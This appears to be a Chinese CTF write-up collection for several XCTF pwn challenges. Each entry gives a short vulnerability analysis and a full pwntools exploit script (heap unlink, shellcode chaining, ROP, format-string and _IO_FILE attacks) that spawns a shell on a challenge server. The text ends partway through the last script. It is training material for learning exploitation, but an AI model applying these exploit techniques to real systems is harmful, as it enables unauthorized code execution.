攻防世界 4-ReeHy-main 漏洞点 在新建堆的时候没有限制大小,输入负数可以任意大小,同时输入0x80可以刚好泄露堆地址 free时候堆块指针还在,造成可以double free buf栈溢出 index可以负数 利用 先利用index负数,修改size大小,然后溢出造成unlink,然后简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 from pwn import *local = 0 host = '111.198.29.45' port = 44275 context.log_level = 'debug' exe = './4-ReeHY-main' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = ELF('./libc.so.6' ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def c (idx) : sla("$ " , idx) def new (size, idx, content) : c(1 ) sla("size\n" , size) sla("cun\n" , idx) sa("content\n" , content) def edit (idx, content) : c(3 ) sla("edit\n" ,idx) sa("content\n" , content) def delete (idx) : c(2 ) sla("dele\n" , idx) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) c("NoOne" ) addr = 0x6020E0 new(0x80 , 0 , '0' ) new(0x80 , 1 , '1' ) delete(-2 ) payload = p32(0x100 ) + p32(0x80 ) + p32(0 ) + p32(0 ) new(0x10 , 2 , payload) fd = addr-0x18 bk = addr - 0x10 payload = flat([ 0 , 0x81 , fd, bk, 'a' *0x60 , 0x80 , 0x90 ]) edit(0 , payload) delete(1 ) payload = flat([ '0' *0x18 , p64(0x6020f0 ), p64(1 ), p64(elf.got['free' ]), 1 , elf.got['fflush' ] ]) edit(0 , payload) edit(1 , p64(elf.plt['puts' ])) delete(2 ) addr = uu64(r(6 )) lg("addr" , addr) from LibcSearcher import * obj = LibcSearcher("fflush" , addr) libc_base = addr - obj.dump('fflush' ) sys_addr = libc_base + obj.dump('system' ) new(0x20 , 3 , "/bin/sh" ) edit(0 , p64(elf.got['free' ])) edit(1 , p64(sys_addr)) delete(3 ) ia() if __name__ == '__main__' : exp(host,)
supermarket 思路 他有个结构体指针,存储了desc的地址,我们目的是修改一个结构体指针,这样我们就可以任意地址写了,
接着漏洞点是realloc,也就是第五个功能,realloc的大小如果小于原来的size,他的大小不会修改,所以我们可以重复在一个地址里realloc
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import *local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './bak' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def c (idx) : sla(">> " , idx) def new (name, price, size, desc) : c(1 ) sla(":" , name) sla(":" , price) sla(":" , size) sla(":" , desc) def delete (name) : c(2 ) sla(":" , name) def show () : c(3 ) def edit (name, price) : c(4 ) sla(":" , name) sla(":" , price) def realloc (name, size, desc) : c(5 ) sla(":" , name) sla(":" , size) sla(":" , desc) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) new("1" , 1 , 0x80 , "A" *0x80 ) new("2" , 2 , 0x18 , "B" *0x18 ) realloc("1" , 0xb0 , "" ) new("3" , 3 , 0x50 , 'C' *0x7 ) payload = flat([ "3\x00" , "1" *(0x1c -2 -4 -4 ), 0x50 , elf.got['atoi' ], ]) payload += p16(0x59 ) realloc("1" , 0x80 , payload) ga() show() for _ in xrange(3 ): ru("des." ) addr = uu32(r(4 )) lg("atoi" , addr) libc.address = addr - libc.symbols['atoi' ] realloc("3" , 0x50 , p32(libc.symbols['system' ])) sl("/bin/sh\x00" ) ia() if __name__ == '__main__' : exp(host,)
note-service2 这道题又让我学了不少东西
复习了下jmp的跳转,以及机器码
0xE8 CALL 后面的四个字节是地址 0xE9 JMP 后面的四个字节是偏移 0xEB JMP 后面的二个字节是偏移 0xFF15 CALL 后面的四个字节是存放地址的地址 0xFF25 JMP 后面的四个字节是存放地址的地址 0x68 PUSH 后面的四个字节入栈 0x6A PUSH 后面的一个字节入栈
漏洞 发觉有个double free,然后8个字节不知道怎么利用,然后卡死了
看了wp后,原来这道又是出自pwnable.tw的,经过他人修改,然后出题了,考点是shellcode链的构造,也就是手写汇编能力
漏洞利用 这里查看保护发觉nx保护没开,所以想着如何写shellcode,8个字节,我也没想出怎么写shellcode,大佬们强啊,shellcode链,利用近转移,一步步跳过去,组合起来就是大shellcode了,这跟ROP类似啊,我怎么就想不到呢,在此还是先佩服下师傅们
细节点 调试部分我用edb测试了下,edb打开随便一个程序,测了下E916,发觉他会自动改成5个字节 其余指令可以用pwntools测试,asm(‘xor rsi,rsi’,arch=’amd64’) free_got - heap地址,这个相对偏移是确定的,所以可以用index这样寻址
至于为什么是E916,这个可以计算下, 短转移: 假设目前指令为:
1 2 3 4 5 6 7 0x1000 E9 16 00 00 00 0x1005 90 0x1006 90 . . . 0x101b 90
1000+16+5=101b
至于为什么这么计算,通俗点讲就是执行完这条指令才会跳转,所以执行完这条指令地址本应该为1005,所以为什么要+5,然后jmp的话,他要跳到相对于这里16处,所以就是0x101b处了
细想一下,delete(0)为什么可以执行system函数呢,因为free(0)的话,首先将参数传进去,也就是第一个堆块地址,就是存/bin/sh处,放到rdi里,后面开始执行shellcode链
编写shellcode链过程 1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 0 0 0x20 0 0x21 0x30 0 0 0x40 0 0x21 0x50 0 0 0x60 0 0x21 0x70 0 0
建立起堆块的结构链条,如上 建立起sys_execve需要的寄存器rdi,rsi,rdx,rax rdi为/bin/sh,rsi=0,rdx=0,rax=0x3b xor rsi,rsi 对应字节码 0xf63148,三个字节,先将这个放进去,然后要跳转到0x30处,所以现在编写jmp语句 e9 大小,具体多少,0x30-0x10-3-5=0x18,所以是e918 1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 0 0 0x40 0 0x21 0x50 0 0 0x60 0 0x21 0x70 0 0
xor rdx,rdx 对应字节码0xd23148,三个字节,接着跳 ,一样的 e918 1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 00000018e94831d2 0 0x40 0 0x21 0x50 0 0 0x60 0 0x21 0x70 0 0
rax=0x3b, push 0x3b,pop rax,为0x3b6a58 三个字节,还是一样的 1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 00000018e94831d2 0 0x40 0 0x21 0x50 00000018e9586a3b 0 0x60 0 0x21 0x70 0 0
最后syscall 0x050f 1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 00000018e94831d2 0 0x40 0 0x21 0x50 00000018e9586a3b 0 0x60 0f05 0x21 0x70 0 0
测试了下,不成功,因为content不为8不会退出,那就加3个nop吧凑个整数,这样少跳3个nop就行,所以最后变成 1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 16e99090904831f6 0 0x20 0 0x21 0x30 16e99090904831d2 0 0x40 0 0x21 0x50 16e9909090586a3b 0 0x60 9090909090900f50 0x21 0x70 0 0
emm,测试不成功,原因是,最多接受7个…题目里限制了,所以改成2个nop
1 2 3 4 5 6 7 8 0x00 0 0x21 0x10 0016e990904831f6 0 0x20 0 0x21 0x30 0016e990904831d2 0 0x40 0 0x21 0x50 0016e99090586a3b 0 0x60 0090909090900f50 0x21 0x70 0 0
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *local = 1 host = '111.198.29.45' port = 49964 context.log_level = 'debug' exe = '/tmp/tmp.sGaluM2IXs/note' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def c (idx) : sla(">> " , idx) def new (idx, content) : c(1 ) sla(":" , idx) sla(":" , 8 ) sa(":" , content) def delete (idx) : c(4 ) sla(":" , idx) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) new(0 , '/bin/sh' ) new((elf.got['free' ]-0x2020A0 )/8 , asm('xor rsi,rsi' )+ '\x90\x90\xe9\x16' ) new(1 , asm('push 0x3b\n pop rax' ) + '\x90\x90\xe9\x16' ) new(2 , asm('xor rdx, rdx' ) + '\x90\x90\xe9\x16' ) new(3 , asm('syscall' ) + '\x90' *5 ) ga() delete(0 ) ia() if __name__ == '__main__' : exp(host,)
welpwn 本来以为很简单,发觉有坑,复制的时候遇到\x00就停止复制了,所以最多只能传入一个地址,我在子函数中无法利用,只能利用main函数的buf来ROP,所以首先先滑过子函数的栈
1 2 3 4 5 0x7fff0c99d050: 0x6161616161616161 0x6161616161616161 0x7fff0c99d060: 0x6161616161616161 0x00000000004008a3 0x7fff0c99d070: 0x0000000000601040 0x000000000040059c 0x7fff0c99d080: 0x00000000004007cd 0x00007fe6cc9d190a 0x7fff0c99d090: 0x00007fe6cc9c1568 0x00007fe6ccb6d000
需要4个pop,在ret就行,第4个还不是我们需要的,所以借个pop4划过就好
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *local = 1 host = '111.198.29.45' port = 58449 context.log_level = 'debug' exe = './a9ad88f80025427592b35612be5492fd' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) ret_addr = 0x4007CD pop_rdi = 0x4008a3 pop4_ret = 0x40089c payload = 'a' * 0x18 payload += flat([ pop4_ret, pop_rdi, elf.got['__libc_start_main' ], elf.plt['puts' ], ret_addr, ]) ga("b *0x00000000004007CB\n c" ) sla("RCTF\n" , payload) ru("a" *0x18 ) r(3 ) addr = uu64(r(6 )) lg("addr" , addr) libc.address = addr - libc.symbols['__libc_start_main' ] lg("libc_base" , libc.address) payload = flat([ "a" *0x18 , pop4_ret, pop_rdi, libc.search("/bin/sh" ).next(), libc.symbols['system' ], ret_addr ]) sl(payload) ia() if __name__ == '__main__' : exp(host,)
pwn-200 libc泄露,然后shell,简单题。。原来没打成是因为libc下错了
libc6-i386_2.23-0ubuntu10_amd64 这个名字并不代表64位的,还是32位的。。太惨了。。。测了dynelf和LibcSearcher才发觉的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import *local = 0 host = '111.198.29.45' port = 31637 context.log_level = 'debug' context.terminal = ['mate-term2inal' ,'--geometry=116x44-0+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './9c6084f8a3b2473e8a9e9815099bfec5' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) offset = 112 vuln = 0x8048484 rl() payload = flat([ 'a' *offset, elf.plt['write' ], vuln, 1 , elf.got['__libc_start_main' ], 4 ]) sl(payload) addr = uu32(r(4 )) from LibcSearcher import * obj = LibcSearcher("__libc_start_main" , addr) libc_base = addr - obj.dump('__libc_start_main' ) bin_sh = libc_base + obj.dump('str_bin_sh' ) sys_addr = libc_base + obj.dump('system' ) lg("__libc_start_main" , addr) lg("bin_sh" ,bin_sh) payload = flat([ 'a' *offset, sys_addr, vuln, bin_sh ]) ga() sl(payload) ia() if __name__ == '__main__' : exp(host,)
NoLeak 挺简单的一道题,看了别人的wp后还不会做,还不如自己做呢,我以为有什么非常规手法,然后别人的手法更绕
漏洞点 一堆,不说了,都很明显,唯一不好的是got表开了保护,无法写got表,不然更简单
漏洞利用 方法1: 我是用unsortbin写main_arena,在用partial_write改写main_arena成malloc_hook,在运行unlink的经典方法修改全局指针
方法2:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *local = 1 host = args.HOST or '111.198.29.45' port = int(args.PORT or 47991 ) context.log_level = 'debug' exe = '/tmp/tmp.m4zqN1ssXM/timu' context.terminal = ['mate-terminal' ,'--geometry=116x44-0+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def c (idx) : sla(":" , idx) def new (size, content="a" ) : c(1 ) sla(": " , size) sa(": " , content) def edit (idx, content) : c(3 ) sla(": " , idx) sla(": " , -1 ) sa(": " , content) def delete (idx) : c(2 ) sla(": " , idx) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) new(0x80 ) new(0x80 ) ptr = 0x601040 payload = flat([ 0 , 0x80 , ptr-0x18 , ptr-0x10 , ]) payload = payload.ljust(0x80 ,'a' ) payload += flat([ 0x80 , 0x90 ]) edit(0 , payload) delete(1 ) new(0x100 ) new(0x10 ) delete(2 ) edit(2 , p64(0 )+p64(0x601068 -0x10 )) new(0x100 ) payload = flat([ p64(0 )*3 , p64(0x601068 ) ]) edit(0 , payload) edit(0 , p8(0x10 )) edit(5 , p64(0x601070 )) edit(0 , p64(0x601070 )) edit(5 , asm(shellcraft.sh())) ga() ia() if __name__ == '__main__' : exp(host,)
echo_back 又是一道学到新点的题目,IO指针在scanf上的特性,具体看P4nda师傅文章 ,原理大概来说就是通过修改_IO_buf_base达到任意地址写,核心函数如下
知识点:partial write, _IO_FILE在scanf上利用,在pie基础上的rop,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; #if 0 if (fp->_flags & _IO_EOF_SEEN) return (EOF); #endif if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { #if 0 _IO_flush_all_linebuffered (); #else _IO_acquire_lock (_IO_stdout); if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (_IO_stdout, EOF); _IO_release_lock (_IO_stdout); #endif } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0 ) { if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0 ; } fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; } libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
我们目的便是这句
1 2 count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
让其指定地址写一段数据,在这中间的坑点,那位师傅也讲了,我只把我途中遇到的一些有意思的点说明下
有意思的点 偏移,这个老生常谈问题,不过现在有更便捷的办法了,利用Pwngdb的fmtarg
ret地址怎么算
利用泄露出来的减去rbp+0x8处的地址便是差距了,因为rbp+8存的就是返回地址 就是利用pwndbg的retaddr功能了 还有个有意思的点,getchar()每次调用这个函数是会导致_IO_read_ptr++
IO_buf_base读取我们的payload后IO_read_end会+=size
这里还用了partial write部分写,修改IO_buf_read达到二次修改目的
p *stdin 可以查看stdin结构体
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = '/tmp/tmp.8lwGmmOY0K/echo_back' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def c (idx) : sla("choice>> " , idx) def setname (name) : c(1 ) sa("name:" , name) def echo (content) : c(2 ) sla("length:" , -1 ) if len(content) == 7 : s(content) else : sl(content) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) ga(''' b printf c c ''' ) echo("%12$p" ) ru("anonymous say:" ) stack = int(rl(),16 ) lg("stack" , stack) echo("%13$p" ) ru("anonymous say:" ) pie = int(rl(), 16 )-0xd08 lg("pie" , pie) echo("%19$p" ) ru("anonymous say:" ) __libc_start_main_addr = int(rl(),16 )-240 libc.address = __libc_start_main_addr - libc.symbols['__libc_start_main' ] setname(p64(libc.symbols['_IO_2_1_stdin_' ]+0x38 )[:-1 ]) echo("%16$hhn" ) payload = flat([ p64(libc.address+0x3c4963 )*3 , stack - 0x28 , stack + 0x10 ]) sla("choice>> " ,2 ) sa("length:" , payload) sl('' ) for i in range(len(payload)-1 ): sla("choice>> " ,2 ) sla("length:" , '' ) sla("choice>> " ,2 ) rop = flat([ pie+0xd93 , libc.search('/bin/sh' ).next(), libc.symbols['system' ] ]) sla("length:" , rop) sl('' ) ia() if __name__ == '__main__' : exp(host,)
RCalc 逆向题。。。栈溢出很简单,然后逆向部分。。。逆向结构体,最主要是要求自写canary如何覆盖掉,利用save result的溢出,覆盖掉canary为0,然后对比就好了 可以参考文章这篇文章 ,具体我不再分析
注意点 scanf遇到\x20,\x09, \x0a, \x0b, \x0c, \x0d 会截断,也就是无法继续输入,所以puts_plt无法使用
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *local = 0 host = '111.198.29.45' port = 49906 context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './RCalc' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = ELF('./libc6_2.23-0ubuntu10_amd64.so' ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, 